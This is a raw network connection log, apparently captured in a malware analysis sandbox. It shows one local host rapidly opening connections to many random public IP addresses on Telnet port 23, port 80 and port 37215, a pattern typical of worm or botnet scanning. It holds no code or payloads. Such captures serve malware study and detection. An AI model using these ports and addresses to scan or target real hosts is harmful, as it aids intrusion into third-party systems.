Jun 10, 2024 15:37:59.817176104 CEST	42556	37215	192.168.2.13	41.195.163.183
Jun 10, 2024 15:37:59.817198038 CEST	54738	80	192.168.2.13	167.251.162.140
Jun 10, 2024 15:37:59.817719936 CEST	56706	23	192.168.2.13	81.34.197.205
Jun 10, 2024 15:37:59.818135023 CEST	40194	80	192.168.2.13	111.31.234.213
Jun 10, 2024 15:37:59.818150043 CEST	40194	80	192.168.2.13	111.31.234.213
Jun 10, 2024 15:37:59.818422079 CEST	80	55620	46.11.146.222	192.168.2.13
Jun 10, 2024 15:37:59.818566084 CEST	23	60370	95.26.230.125	192.168.2.13
Jun 10, 2024 15:37:59.818619013 CEST	60370	23	192.168.2.13	95.26.230.125
Jun 10, 2024 15:37:59.819109917 CEST	42520	37215	192.168.2.13	156.225.196.18
Jun 10, 2024 15:37:59.819191933 CEST	40552	80	192.168.2.13	111.31.234.213
Jun 10, 2024 15:37:59.819323063 CEST	37215	59662	197.50.100.135	192.168.2.13
Jun 10, 2024 15:37:59.819367886 CEST	59662	37215	192.168.2.13	197.50.100.135
Jun 10, 2024 15:37:59.819509983 CEST	60852	23	192.168.2.13	70.29.10.141
Jun 10, 2024 15:37:59.819531918 CEST	80	55978	46.11.146.222	192.168.2.13
Jun 10, 2024 15:37:59.819580078 CEST	55978	80	192.168.2.13	46.11.146.222
Jun 10, 2024 15:37:59.820344925 CEST	23	49764	95.99.108.48	192.168.2.13
Jun 10, 2024 15:37:59.820394993 CEST	49764	23	192.168.2.13	95.99.108.48
Jun 10, 2024 15:37:59.820455074 CEST	48502	80	192.168.2.13	145.193.92.118
Jun 10, 2024 15:37:59.820476055 CEST	48502	80	192.168.2.13	145.193.92.118
Jun 10, 2024 15:37:59.820692062 CEST	80	53776	78.199.201.121	192.168.2.13
Jun 10, 2024 15:37:59.821424007 CEST	37376	37215	192.168.2.13	156.15.16.186
Jun 10, 2024 15:37:59.821494102 CEST	48860	80	192.168.2.13	145.193.92.118
Jun 10, 2024 15:37:59.821672916 CEST	37215	37368	156.90.232.117	192.168.2.13
Jun 10, 2024 15:37:59.821691036 CEST	56610	23	192.168.2.13	83.193.101.13
Jun 10, 2024 15:37:59.821702957 CEST	37368	37215	192.168.2.13	156.90.232.117
Jun 10, 2024 15:37:59.821760893 CEST	80	54134	78.199.201.121	192.168.2.13
Jun 10, 2024 15:37:59.821810961 CEST	54134	80	192.168.2.13	78.199.201.121
Jun 10, 2024 15:37:59.822566032 CEST	23	56706	81.34.197.205	192.168.2.13
Jun 10, 2024 15:37:59.822608948 CEST	56706	23	192.168.2.13	81.34.197.205
Jun 10, 2024 15:37:59.822673082 CEST	80	49156	181.171.108.67	192.168.2.13
Jun 10, 2024 15:37:59.822693110 CEST	34326	80	192.168.2.13	161.147.107.200
Jun 10, 2024 15:37:59.822693110 CEST	34326	80	192.168.2.13	161.147.107.200
Jun 10, 2024 15:37:59.822700024 CEST	80	39338	193.5.227.125	192.168.2.13
Jun 10, 2024 15:37:59.822726965 CEST	80	59898	213.227.25.210	192.168.2.13
Jun 10, 2024 15:37:59.822757006 CEST	80	54128	115.56.153.54	192.168.2.13
Jun 10, 2024 15:37:59.823002100 CEST	80	40194	111.31.234.213	192.168.2.13
Jun 10, 2024 15:37:59.823538065 CEST	36706	23	192.168.2.13	65.255.104.204
Jun 10, 2024 15:37:59.823659897 CEST	54402	37215	192.168.2.13	41.63.241.27
Jun 10, 2024 15:37:59.823748112 CEST	34684	80	192.168.2.13	161.147.107.200
Jun 10, 2024 15:37:59.823947906 CEST	37215	42520	156.225.196.18	192.168.2.13
Jun 10, 2024 15:37:59.823991060 CEST	42520	37215	192.168.2.13	156.225.196.18
Jun 10, 2024 15:37:59.824054003 CEST	80	40552	111.31.234.213	192.168.2.13
Jun 10, 2024 15:37:59.824099064 CEST	40552	80	192.168.2.13	111.31.234.213
Jun 10, 2024 15:37:59.824368000 CEST	23	60852	70.29.10.141	192.168.2.13
Jun 10, 2024 15:37:59.824410915 CEST	60852	23	192.168.2.13	70.29.10.141
Jun 10, 2024 15:37:59.824954987 CEST	48068	80	192.168.2.13	189.244.26.215
Jun 10, 2024 15:37:59.824954987 CEST	48068	80	192.168.2.13	189.244.26.215
Jun 10, 2024 15:37:59.825319052 CEST	80	48502	145.193.92.118	192.168.2.13
Jun 10, 2024 15:37:59.825687885 CEST	55544	23	192.168.2.13	133.203.197.14
Jun 10, 2024 15:37:59.825921059 CEST	34412	37215	192.168.2.13	156.156.74.74
Jun 10, 2024 15:37:59.826016903 CEST	48426	80	192.168.2.13	189.244.26.215
Jun 10, 2024 15:37:59.826286077 CEST	37215	37376	156.15.16.186	192.168.2.13
Jun 10, 2024 15:37:59.826333046 CEST	37376	37215	192.168.2.13	156.15.16.186
Jun 10, 2024 15:37:59.826338053 CEST	80	48860	145.193.92.118	192.168.2.13
Jun 10, 2024 15:37:59.826383114 CEST	48860	80	192.168.2.13	145.193.92.118
Jun 10, 2024 15:37:59.826802015 CEST	23	56610	83.193.101.13	192.168.2.13
Jun 10, 2024 15:37:59.826829910 CEST	80	37506	115.165.178.143	192.168.2.13
Jun 10, 2024 15:37:59.826839924 CEST	56610	23	192.168.2.13	83.193.101.13
Jun 10, 2024 15:37:59.826857090 CEST	80	59220	32.111.100.187	192.168.2.13
Jun 10, 2024 15:37:59.827151060 CEST	51382	80	192.168.2.13	160.158.220.221
Jun 10, 2024 15:37:59.827151060 CEST	51382	80	192.168.2.13	160.158.220.221
Jun 10, 2024 15:37:59.827297926 CEST	43640	23	192.168.2.13	64.180.44.114
Jun 10, 2024 15:37:59.827603102 CEST	80	34326	161.147.107.200	192.168.2.13
Jun 10, 2024 15:37:59.827941895 CEST	33756	37215	192.168.2.13	197.244.78.206
Jun 10, 2024 15:37:59.828043938 CEST	51740	80	192.168.2.13	160.158.220.221
Jun 10, 2024 15:37:59.828406096 CEST	23	36706	65.255.104.204	192.168.2.13
Jun 10, 2024 15:37:59.828449965 CEST	36706	23	192.168.2.13	65.255.104.204
Jun 10, 2024 15:37:59.828530073 CEST	37215	54402	41.63.241.27	192.168.2.13
Jun 10, 2024 15:37:59.828578949 CEST	54402	37215	192.168.2.13	41.63.241.27
Jun 10, 2024 15:37:59.828594923 CEST	80	34684	161.147.107.200	192.168.2.13
Jun 10, 2024 15:37:59.828645945 CEST	34684	80	192.168.2.13	161.147.107.200
Jun 10, 2024 15:37:59.829282045 CEST	35066	80	192.168.2.13	74.221.113.140
Jun 10, 2024 15:37:59.829282045 CEST	35066	80	192.168.2.13	74.221.113.140
Jun 10, 2024 15:37:59.829381943 CEST	53716	23	192.168.2.13	77.190.186.11
Jun 10, 2024 15:37:59.829833031 CEST	80	48068	189.244.26.215	192.168.2.13
Jun 10, 2024 15:37:59.830209017 CEST	53414	37215	192.168.2.13	156.38.108.66
Jun 10, 2024 15:37:59.830310106 CEST	35424	80	192.168.2.13	74.221.113.140
Jun 10, 2024 15:37:59.830529928 CEST	23	55544	133.203.197.14	192.168.2.13
Jun 10, 2024 15:37:59.830570936 CEST	55544	23	192.168.2.13	133.203.197.14
Jun 10, 2024 15:37:59.830621958 CEST	80	39218	9.203.151.161	192.168.2.13
Jun 10, 2024 15:37:59.830775976 CEST	37215	34412	156.156.74.74	192.168.2.13
Jun 10, 2024 15:37:59.830825090 CEST	34412	37215	192.168.2.13	156.156.74.74
Jun 10, 2024 15:37:59.830856085 CEST	80	48426	189.244.26.215	192.168.2.13
Jun 10, 2024 15:37:59.830903053 CEST	48426	80	192.168.2.13	189.244.26.215
Jun 10, 2024 15:37:59.831259012 CEST	60636	23	192.168.2.13	150.101.3.213
Jun 10, 2024 15:37:59.831568003 CEST	53462	80	192.168.2.13	220.219.206.99
Jun 10, 2024 15:37:59.831585884 CEST	53462	80	192.168.2.13	220.219.206.99
Jun 10, 2024 15:37:59.831980944 CEST	80	51382	160.158.220.221	192.168.2.13
Jun 10, 2024 15:37:59.832159996 CEST	23	43640	64.180.44.114	192.168.2.13
Jun 10, 2024 15:37:59.832197905 CEST	43640	23	192.168.2.13	64.180.44.114
Jun 10, 2024 15:37:59.832496881 CEST	53026	37215	192.168.2.13	197.57.68.100
Jun 10, 2024 15:37:59.832588911 CEST	53820	80	192.168.2.13	220.219.206.99
Jun 10, 2024 15:37:59.832783937 CEST	37215	33756	197.244.78.206	192.168.2.13
Jun 10, 2024 15:37:59.832828045 CEST	33756	37215	192.168.2.13	197.244.78.206
Jun 10, 2024 15:37:59.832917929 CEST	80	51740	160.158.220.221	192.168.2.13
Jun 10, 2024 15:37:59.832954884 CEST	51740	80	192.168.2.13	160.158.220.221
Jun 10, 2024 15:37:59.833406925 CEST	33964	23	192.168.2.13	192.172.175.62
Jun 10, 2024 15:37:59.833827019 CEST	51492	80	192.168.2.13	154.68.192.29
Jun 10, 2024 15:37:59.833827019 CEST	51492	80	192.168.2.13	154.68.192.29
Jun 10, 2024 15:37:59.834176064 CEST	80	35066	74.221.113.140	192.168.2.13
Jun 10, 2024 15:37:59.834352016 CEST	23	53716	77.190.186.11	192.168.2.13
Jun 10, 2024 15:37:59.834398985 CEST	53716	23	192.168.2.13	77.190.186.11
Jun 10, 2024 15:37:59.834652901 CEST	80	46042	31.24.128.114	192.168.2.13
Jun 10, 2024 15:37:59.834681034 CEST	80	40246	96.121.230.115	192.168.2.13
Jun 10, 2024 15:37:59.834759951 CEST	45572	37215	192.168.2.13	197.67.118.32
Jun 10, 2024 15:37:59.834856033 CEST	51850	80	192.168.2.13	154.68.192.29
Jun 10, 2024 15:37:59.835122108 CEST	37215	53414	156.38.108.66	192.168.2.13
Jun 10, 2024 15:37:59.835166931 CEST	58722	23	192.168.2.13	43.149.242.73
Jun 10, 2024 15:37:59.835170031 CEST	53414	37215	192.168.2.13	156.38.108.66
Jun 10, 2024 15:37:59.835398912 CEST	80	35424	74.221.113.140	192.168.2.13
Jun 10, 2024 15:37:59.835443974 CEST	35424	80	192.168.2.13	74.221.113.140
Jun 10, 2024 15:37:59.836086035 CEST	40004	80	192.168.2.13	184.225.110.223
Jun 10, 2024 15:37:59.836097002 CEST	40004	80	192.168.2.13	184.225.110.223
Jun 10, 2024 15:37:59.836405993 CEST	23	60636	150.101.3.213	192.168.2.13
Jun 10, 2024 15:37:59.836451054 CEST	60636	23	192.168.2.13	150.101.3.213
Jun 10, 2024 15:37:59.837030888 CEST	53538	37215	192.168.2.13	41.236.7.25
Jun 10, 2024 15:37:59.837048054 CEST	80	53462	220.219.206.99	192.168.2.13
Jun 10, 2024 15:37:59.837122917 CEST	40362	80	192.168.2.13	184.225.110.223
Jun 10, 2024 15:37:59.837331057 CEST	60044	23	192.168.2.13	176.89.11.89
Jun 10, 2024 15:37:59.837582111 CEST	37215	53026	197.57.68.100	192.168.2.13
Jun 10, 2024 15:37:59.837641001 CEST	53026	37215	192.168.2.13	197.57.68.100
Jun 10, 2024 15:37:59.837796926 CEST	80	53820	220.219.206.99	192.168.2.13
Jun 10, 2024 15:37:59.837845087 CEST	53820	80	192.168.2.13	220.219.206.99
Jun 10, 2024 15:37:59.838365078 CEST	34216	80	192.168.2.13	39.251.150.235
Jun 10, 2024 15:37:59.838385105 CEST	34216	80	192.168.2.13	39.251.150.235
Jun 10, 2024 15:37:59.838686943 CEST	80	52842	181.232.47.252	192.168.2.13
Jun 10, 2024 15:37:59.838716030 CEST	80	41002	173.150.225.180	192.168.2.13
Jun 10, 2024 15:37:59.838743925 CEST	23	33964	192.172.175.62	192.168.2.13
Jun 10, 2024 15:37:59.838788986 CEST	33964	23	192.168.2.13	192.172.175.62
Jun 10, 2024 15:37:59.839023113 CEST	80	51492	154.68.192.29	192.168.2.13
Jun 10, 2024 15:37:59.839171886 CEST	60508	23	192.168.2.13	186.111.25.115
Jun 10, 2024 15:37:59.839288950 CEST	39324	37215	192.168.2.13	156.211.48.76
Jun 10, 2024 15:37:59.839400053 CEST	34574	80	192.168.2.13	39.251.150.235
Jun 10, 2024 15:37:59.840358973 CEST	37215	45572	197.67.118.32	192.168.2.13
Jun 10, 2024 15:37:59.840405941 CEST	45572	37215	192.168.2.13	197.67.118.32
Jun 10, 2024 15:37:59.840414047 CEST	80	51850	154.68.192.29	192.168.2.13
Jun 10, 2024 15:37:59.840445995 CEST	23	58722	43.149.242.73	192.168.2.13
Jun 10, 2024 15:37:59.840456009 CEST	51850	80	192.168.2.13	154.68.192.29
Jun 10, 2024 15:37:59.840496063 CEST	58722	23	192.168.2.13	43.149.242.73
Jun 10, 2024 15:37:59.840660095 CEST	33900	80	192.168.2.13	37.242.196.25
Jun 10, 2024 15:37:59.840660095 CEST	33900	80	192.168.2.13	37.242.196.25
Jun 10, 2024 15:37:59.841379881 CEST	45146	23	192.168.2.13	83.49.85.75
Jun 10, 2024 15:37:59.841435909 CEST	80	40004	184.225.110.223	192.168.2.13
Jun 10, 2024 15:37:59.841583014 CEST	36608	37215	192.168.2.13	41.223.243.35
Jun 10, 2024 15:37:59.841679096 CEST	34258	80	192.168.2.13	37.242.196.25
Jun 10, 2024 15:37:59.842129946 CEST	37215	53538	41.236.7.25	192.168.2.13
Jun 10, 2024 15:37:59.842173100 CEST	53538	37215	192.168.2.13	41.236.7.25
Jun 10, 2024 15:37:59.842488050 CEST	80	40362	184.225.110.223	192.168.2.13
Jun 10, 2024 15:37:59.842531919 CEST	40362	80	192.168.2.13	184.225.110.223
Jun 10, 2024 15:37:59.842608929 CEST	23	60044	176.89.11.89	192.168.2.13
Jun 10, 2024 15:37:59.842643023 CEST	80	37488	86.102.128.211	192.168.2.13
Jun 10, 2024 15:37:59.842652082 CEST	60044	23	192.168.2.13	176.89.11.89
Jun 10, 2024 15:37:59.842964888 CEST	49276	80	192.168.2.13	219.24.143.221
Jun 10, 2024 15:37:59.842964888 CEST	49276	80	192.168.2.13	219.24.143.221
Jun 10, 2024 15:37:59.843163013 CEST	52668	23	192.168.2.13	183.90.133.243
Jun 10, 2024 15:37:59.843692064 CEST	80	34216	39.251.150.235	192.168.2.13
Jun 10, 2024 15:37:59.843899965 CEST	32966	37215	192.168.2.13	41.45.237.96
Jun 10, 2024 15:37:59.843986988 CEST	49634	80	192.168.2.13	219.24.143.221
Jun 10, 2024 15:37:59.844424009 CEST	23	60508	186.111.25.115	192.168.2.13
Jun 10, 2024 15:37:59.844463110 CEST	60508	23	192.168.2.13	186.111.25.115
Jun 10, 2024 15:37:59.844657898 CEST	37215	39324	156.211.48.76	192.168.2.13
Jun 10, 2024 15:37:59.844686031 CEST	80	34574	39.251.150.235	192.168.2.13
Jun 10, 2024 15:37:59.844702959 CEST	39324	37215	192.168.2.13	156.211.48.76
Jun 10, 2024 15:37:59.844733953 CEST	34574	80	192.168.2.13	39.251.150.235
Jun 10, 2024 15:37:59.845253944 CEST	60926	80	192.168.2.13	20.163.218.116
Jun 10, 2024 15:37:59.845254898 CEST	60926	80	192.168.2.13	20.163.218.116
Jun 10, 2024 15:37:59.845347881 CEST	36368	23	192.168.2.13	71.51.98.100
Jun 10, 2024 15:37:59.845931053 CEST	80	33900	37.242.196.25	192.168.2.13
Jun 10, 2024 15:37:59.846173048 CEST	54964	37215	192.168.2.13	41.58.54.58
Jun 10, 2024 15:37:59.846261024 CEST	33052	80	192.168.2.13	20.163.218.116
Jun 10, 2024 15:37:59.846626043 CEST	80	42016	195.50.200.227	192.168.2.13
Jun 10, 2024 15:37:59.846653938 CEST	80	39842	13.159.171.238	192.168.2.13
Jun 10, 2024 15:37:59.846684933 CEST	23	45146	83.49.85.75	192.168.2.13
Jun 10, 2024 15:37:59.846726894 CEST	45146	23	192.168.2.13	83.49.85.75
Jun 10, 2024 15:37:59.846857071 CEST	37215	36608	41.223.243.35	192.168.2.13
Jun 10, 2024 15:37:59.846887112 CEST	80	34258	37.242.196.25	192.168.2.13
Jun 10, 2024 15:37:59.846901894 CEST	36608	37215	192.168.2.13	41.223.243.35
Jun 10, 2024 15:37:59.846919060 CEST	34258	80	192.168.2.13	37.242.196.25
Jun 10, 2024 15:37:59.847116947 CEST	48250	23	192.168.2.13	109.12.126.152
Jun 10, 2024 15:37:59.847522974 CEST	58522	80	192.168.2.13	92.126.239.180
Jun 10, 2024 15:37:59.847522974 CEST	58522	80	192.168.2.13	92.126.239.180
Jun 10, 2024 15:37:59.848227978 CEST	80	49276	219.24.143.221	192.168.2.13
Jun 10, 2024 15:37:59.848370075 CEST	23	52668	183.90.133.243	192.168.2.13
Jun 10, 2024 15:37:59.848414898 CEST	52668	23	192.168.2.13	183.90.133.243
Jun 10, 2024 15:37:59.848443031 CEST	43896	37215	192.168.2.13	41.186.220.178
Jun 10, 2024 15:37:59.848543882 CEST	58880	80	192.168.2.13	92.126.239.180
Jun 10, 2024 15:37:59.849327087 CEST	37215	32966	41.45.237.96	192.168.2.13
Jun 10, 2024 15:37:59.849359035 CEST	55528	23	192.168.2.13	115.162.142.239
Jun 10, 2024 15:37:59.849371910 CEST	32966	37215	192.168.2.13	41.45.237.96
Jun 10, 2024 15:37:59.849378109 CEST	80	49634	219.24.143.221	192.168.2.13
Jun 10, 2024 15:37:59.849421024 CEST	49634	80	192.168.2.13	219.24.143.221
Jun 10, 2024 15:37:59.849795103 CEST	49620	80	192.168.2.13	161.106.196.70
Jun 10, 2024 15:37:59.849795103 CEST	49620	80	192.168.2.13	161.106.196.70
Jun 10, 2024 15:37:59.850121021 CEST	80	60926	20.163.218.116	192.168.2.13
Jun 10, 2024 15:37:59.850287914 CEST	23	36368	71.51.98.100	192.168.2.13
Jun 10, 2024 15:37:59.850337029 CEST	36368	23	192.168.2.13	71.51.98.100
Jun 10, 2024 15:37:59.850647926 CEST	80	35958	158.214.75.80	192.168.2.13
Jun 10, 2024 15:37:59.850677013 CEST	80	47840	99.27.23.33	192.168.2.13
Jun 10, 2024 15:37:59.850720882 CEST	50268	37215	192.168.2.13	197.128.25.119
Jun 10, 2024 15:37:59.850933075 CEST	49978	80	192.168.2.13	161.106.196.70
Jun 10, 2024 15:37:59.851074934 CEST	37215	54964	41.58.54.58	192.168.2.13
Jun 10, 2024 15:37:59.851121902 CEST	54964	37215	192.168.2.13	41.58.54.58
Jun 10, 2024 15:37:59.851125002 CEST	80	33052	20.163.218.116	192.168.2.13
Jun 10, 2024 15:37:59.851166010 CEST	33052	80	192.168.2.13	20.163.218.116
Jun 10, 2024 15:37:59.851238012 CEST	59608	23	192.168.2.13	145.235.64.90
Jun 10, 2024 15:37:59.852045059 CEST	23	48250	109.12.126.152	192.168.2.13
Jun 10, 2024 15:37:59.852063894 CEST	45994	80	192.168.2.13	120.127.248.215
Jun 10, 2024 15:37:59.852083921 CEST	45994	80	192.168.2.13	120.127.248.215
Jun 10, 2024 15:37:59.852099895 CEST	48250	23	192.168.2.13	109.12.126.152
Jun 10, 2024 15:37:59.852375984 CEST	80	58522	92.126.239.180	192.168.2.13
Jun 10, 2024 15:37:59.852998972 CEST	49156	37215	192.168.2.13	156.245.237.250
Jun 10, 2024 15:37:59.853087902 CEST	46352	80	192.168.2.13	120.127.248.215
Jun 10, 2024 15:37:59.853292942 CEST	47720	23	192.168.2.13	177.121.24.4
Jun 10, 2024 15:37:59.853339911 CEST	37215	43896	41.186.220.178	192.168.2.13
Jun 10, 2024 15:37:59.853384972 CEST	43896	37215	192.168.2.13	41.186.220.178
Jun 10, 2024 15:37:59.853404999 CEST	80	58880	92.126.239.180	192.168.2.13
Jun 10, 2024 15:37:59.853446007 CEST	58880	80	192.168.2.13	92.126.239.180
Jun 10, 2024 15:37:59.854315996 CEST	49022	80	192.168.2.13	80.246.211.214
Jun 10, 2024 15:37:59.854315996 CEST	49022	80	192.168.2.13	80.246.211.214
Jun 10, 2024 15:37:59.854449987 CEST	23	55528	115.162.142.239	192.168.2.13
Jun 10, 2024 15:37:59.854496002 CEST	55528	23	192.168.2.13	115.162.142.239
Jun 10, 2024 15:37:59.854644060 CEST	80	35328	51.33.7.198	192.168.2.13
Jun 10, 2024 15:37:59.854671955 CEST	80	40556	84.162.2.5	192.168.2.13
Jun 10, 2024 15:37:59.854707003 CEST	80	49620	161.106.196.70	192.168.2.13
Jun 10, 2024 15:37:59.855142117 CEST	54958	23	192.168.2.13	12.96.189.43
Jun 10, 2024 15:37:59.855268002 CEST	52976	37215	192.168.2.13	197.57.169.86
Jun 10, 2024 15:37:59.855346918 CEST	49380	80	192.168.2.13	80.246.211.214
Jun 10, 2024 15:37:59.855623960 CEST	37215	50268	197.128.25.119	192.168.2.13
Jun 10, 2024 15:37:59.855671883 CEST	50268	37215	192.168.2.13	197.128.25.119
Jun 10, 2024 15:37:59.855777979 CEST	80	49978	161.106.196.70	192.168.2.13
Jun 10, 2024 15:37:59.855820894 CEST	49978	80	192.168.2.13	161.106.196.70
Jun 10, 2024 15:37:59.856102943 CEST	23	59608	145.235.64.90	192.168.2.13
Jun 10, 2024 15:37:59.856151104 CEST	59608	23	192.168.2.13	145.235.64.90
Jun 10, 2024 15:37:59.856618881 CEST	43560	80	192.168.2.13	24.223.44.225
Jun 10, 2024 15:37:59.856637001 CEST	43560	80	192.168.2.13	24.223.44.225
Jun 10, 2024 15:37:59.856992960 CEST	80	45994	120.127.248.215	192.168.2.13
Jun 10, 2024 15:37:59.857323885 CEST	58732	23	192.168.2.13	119.80.226.193
Jun 10, 2024 15:37:59.857527018 CEST	56360	37215	192.168.2.13	41.241.121.248
Jun 10, 2024 15:37:59.857625008 CEST	43918	80	192.168.2.13	24.223.44.225
Jun 10, 2024 15:37:59.857974052 CEST	37215	49156	156.245.237.250	192.168.2.13
Jun 10, 2024 15:37:59.858001947 CEST	80	46352	120.127.248.215	192.168.2.13
Jun 10, 2024 15:37:59.858016968 CEST	49156	37215	192.168.2.13	156.245.237.250
Jun 10, 2024 15:37:59.858043909 CEST	46352	80	192.168.2.13	120.127.248.215
Jun 10, 2024 15:37:59.858273029 CEST	23	47720	177.121.24.4	192.168.2.13
Jun 10, 2024 15:37:59.858321905 CEST	47720	23	192.168.2.13	177.121.24.4
Jun 10, 2024 15:37:59.858659983 CEST	80	55620	46.11.146.222	192.168.2.13
Jun 10, 2024 15:37:59.858688116 CEST	80	54380	167.251.162.140	192.168.2.13
Jun 10, 2024 15:37:59.858870029 CEST	34410	80	192.168.2.13	178.116.76.220
Jun 10, 2024 15:37:59.858870983 CEST	34410	80	192.168.2.13	178.116.76.220
Jun 10, 2024 15:37:59.859076977 CEST	47412	23	192.168.2.13	40.181.124.64
Jun 10, 2024 15:37:59.859209061 CEST	80	49022	80.246.211.214	192.168.2.13
Jun 10, 2024 15:37:59.859776020 CEST	38984	37215	192.168.2.13	156.122.137.98
Jun 10, 2024 15:37:59.859874964 CEST	34770	80	192.168.2.13	178.116.76.220
Jun 10, 2024 15:37:59.860097885 CEST	23	54958	12.96.189.43	192.168.2.13
Jun 10, 2024 15:37:59.860155106 CEST	54958	23	192.168.2.13	12.96.189.43
Jun 10, 2024 15:37:59.860169888 CEST	37215	52976	197.57.169.86	192.168.2.13
Jun 10, 2024 15:37:59.860202074 CEST	80	49380	80.246.211.214	192.168.2.13
Jun 10, 2024 15:37:59.860223055 CEST	52976	37215	192.168.2.13	197.57.169.86
Jun 10, 2024 15:37:59.860239029 CEST	49380	80	192.168.2.13	80.246.211.214
Jun 10, 2024 15:37:59.860897064 CEST	56400	80	192.168.2.13	76.87.100.69
Jun 10, 2024 15:37:59.860928059 CEST	56400	80	192.168.2.13	76.87.100.69
Jun 10, 2024 15:37:59.861394882 CEST	40590	37215	192.168.2.13	41.194.61.76
Jun 10, 2024 15:37:59.861479998 CEST	56760	80	192.168.2.13	76.87.100.69
Jun 10, 2024 15:37:59.861510992 CEST	80	43560	24.223.44.225	192.168.2.13
Jun 10, 2024 15:37:59.862226963 CEST	23	58732	119.80.226.193	192.168.2.13
Jun 10, 2024 15:37:59.862277985 CEST	43590	80	192.168.2.13	200.227.24.116
Jun 10, 2024 15:37:59.862277985 CEST	58732	23	192.168.2.13	119.80.226.193
Jun 10, 2024 15:37:59.862318993 CEST	43590	80	192.168.2.13	200.227.24.116
Jun 10, 2024 15:37:59.862375975 CEST	37215	56360	41.241.121.248	192.168.2.13
Jun 10, 2024 15:37:59.862425089 CEST	56360	37215	192.168.2.13	41.241.121.248
Jun 10, 2024 15:37:59.862566948 CEST	80	43918	24.223.44.225	192.168.2.13
Jun 10, 2024 15:37:59.862612009 CEST	43918	80	192.168.2.13	24.223.44.225
Jun 10, 2024 15:37:59.862643003 CEST	80	53776	78.199.201.121	192.168.2.13
Jun 10, 2024 15:37:59.862759113 CEST	60502	37215	192.168.2.13	156.176.31.94
Jun 10, 2024 15:37:59.862839937 CEST	43950	80	192.168.2.13	200.227.24.116
Jun 10, 2024 15:37:59.863642931 CEST	43232	80	192.168.2.13	80.234.35.77
Jun 10, 2024 15:37:59.863642931 CEST	43232	80	192.168.2.13	80.234.35.77
Jun 10, 2024 15:37:59.863706112 CEST	80	34410	178.116.76.220	192.168.2.13
Jun 10, 2024 15:37:59.863900900 CEST	23	47412	40.181.124.64	192.168.2.13
Jun 10, 2024 15:37:59.863940954 CEST	47412	23	192.168.2.13	40.181.124.64
Jun 10, 2024 15:37:59.864120007 CEST	41972	37215	192.168.2.13	156.163.189.151
Jun 10, 2024 15:37:59.864223003 CEST	43592	80	192.168.2.13	80.234.35.77
Jun 10, 2024 15:37:59.864684105 CEST	37215	38984	156.122.137.98	192.168.2.13
Jun 10, 2024 15:37:59.864712954 CEST	80	34770	178.116.76.220	192.168.2.13
Jun 10, 2024 15:37:59.864727020 CEST	38984	37215	192.168.2.13	156.122.137.98
Jun 10, 2024 15:37:59.864753962 CEST	34770	80	192.168.2.13	178.116.76.220
Jun 10, 2024 15:37:59.864921093 CEST	37108	80	192.168.2.13	86.248.77.229
Jun 10, 2024 15:37:59.864921093 CEST	37108	80	192.168.2.13	86.248.77.229
Jun 10, 2024 15:37:59.865482092 CEST	37466	80	192.168.2.13	86.248.77.229
Jun 10, 2024 15:37:59.865586996 CEST	44662	37215	192.168.2.13	41.253.102.61
Jun 10, 2024 15:37:59.865823030 CEST	80	56400	76.87.100.69	192.168.2.13
Jun 10, 2024 15:37:59.866128922 CEST	52018	80	192.168.2.13	20.192.68.43
Jun 10, 2024 15:37:59.866128922 CEST	52018	80	192.168.2.13	20.192.68.43
Jun 10, 2024 15:37:59.866252899 CEST	37215	40590	41.194.61.76	192.168.2.13
Jun 10, 2024 15:37:59.866301060 CEST	40590	37215	192.168.2.13	41.194.61.76
Jun 10, 2024 15:37:59.866375923 CEST	80	56760	76.87.100.69	192.168.2.13
Jun 10, 2024 15:37:59.866419077 CEST	56760	80	192.168.2.13	76.87.100.69
Jun 10, 2024 15:37:59.866648912 CEST	80	48502	145.193.92.118	192.168.2.13
Jun 10, 2024 15:37:59.866677046 CEST	80	40194	111.31.234.213	192.168.2.13
Jun 10, 2024 15:37:59.866815090 CEST	52376	80	192.168.2.13	20.192.68.43
Jun 10, 2024 15:37:59.866998911 CEST	35452	37215	192.168.2.13	197.116.197.156
Jun 10, 2024 15:37:59.867250919 CEST	80	43590	200.227.24.116	192.168.2.13
Jun 10, 2024 15:37:59.867470026 CEST	49412	80	192.168.2.13	64.204.248.79
Jun 10, 2024 15:37:59.867470026 CEST	49412	80	192.168.2.13	64.204.248.79
Jun 10, 2024 15:37:59.867645979 CEST	37215	60502	156.176.31.94	192.168.2.13
Jun 10, 2024 15:37:59.867691994 CEST	60502	37215	192.168.2.13	156.176.31.94
Jun 10, 2024 15:37:59.867722034 CEST	80	43950	200.227.24.116	192.168.2.13
Jun 10, 2024 15:37:59.867755890 CEST	43950	80	192.168.2.13	200.227.24.116
Jun 10, 2024 15:37:59.868109941 CEST	49768	80	192.168.2.13	64.204.248.79
Jun 10, 2024 15:37:59.868309975 CEST	57320	37215	192.168.2.13	156.12.201.188
Jun 10, 2024 15:37:59.868565083 CEST	80	43232	80.234.35.77	192.168.2.13
Jun 10, 2024 15:37:59.868776083 CEST	42046	80	192.168.2.13	195.209.166.102
Jun 10, 2024 15:37:59.868776083 CEST	42046	80	192.168.2.13	195.209.166.102
Jun 10, 2024 15:37:59.869045973 CEST	37215	41972	156.163.189.151	192.168.2.13
Jun 10, 2024 15:37:59.869090080 CEST	41972	37215	192.168.2.13	156.163.189.151
Jun 10, 2024 15:37:59.869136095 CEST	80	43592	80.234.35.77	192.168.2.13
Jun 10, 2024 15:37:59.869187117 CEST	43592	80	192.168.2.13	80.234.35.77
Jun 10, 2024 15:37:59.869441986 CEST	42402	80	192.168.2.13	195.209.166.102
Jun 10, 2024 15:37:59.869779110 CEST	56778	80	192.168.2.13	124.198.230.56
Jun 10, 2024 15:37:59.869779110 CEST	56778	80	192.168.2.13	124.198.230.56
Jun 10, 2024 15:37:59.869793892 CEST	80	37108	86.248.77.229	192.168.2.13
Jun 10, 2024 15:37:59.869862080 CEST	41708	37215	192.168.2.13	156.19.135.49
Jun 10, 2024 15:37:59.870328903 CEST	57134	80	192.168.2.13	124.198.230.56
Jun 10, 2024 15:37:59.870377064 CEST	80	37466	86.248.77.229	192.168.2.13
Jun 10, 2024 15:37:59.870424032 CEST	37466	80	192.168.2.13	86.248.77.229
Jun 10, 2024 15:37:59.870426893 CEST	37215	44662	41.253.102.61	192.168.2.13
Jun 10, 2024 15:37:59.870470047 CEST	44662	37215	192.168.2.13	41.253.102.61
Jun 10, 2024 15:37:59.870605946 CEST	80	48068	189.244.26.215	192.168.2.13
Jun 10, 2024 15:37:59.870661020 CEST	80	34326	161.147.107.200	192.168.2.13
Jun 10, 2024 15:37:59.870995998 CEST	80	52018	20.192.68.43	192.168.2.13
Jun 10, 2024 15:37:59.871206999 CEST	56620	37215	192.168.2.13	156.24.110.61
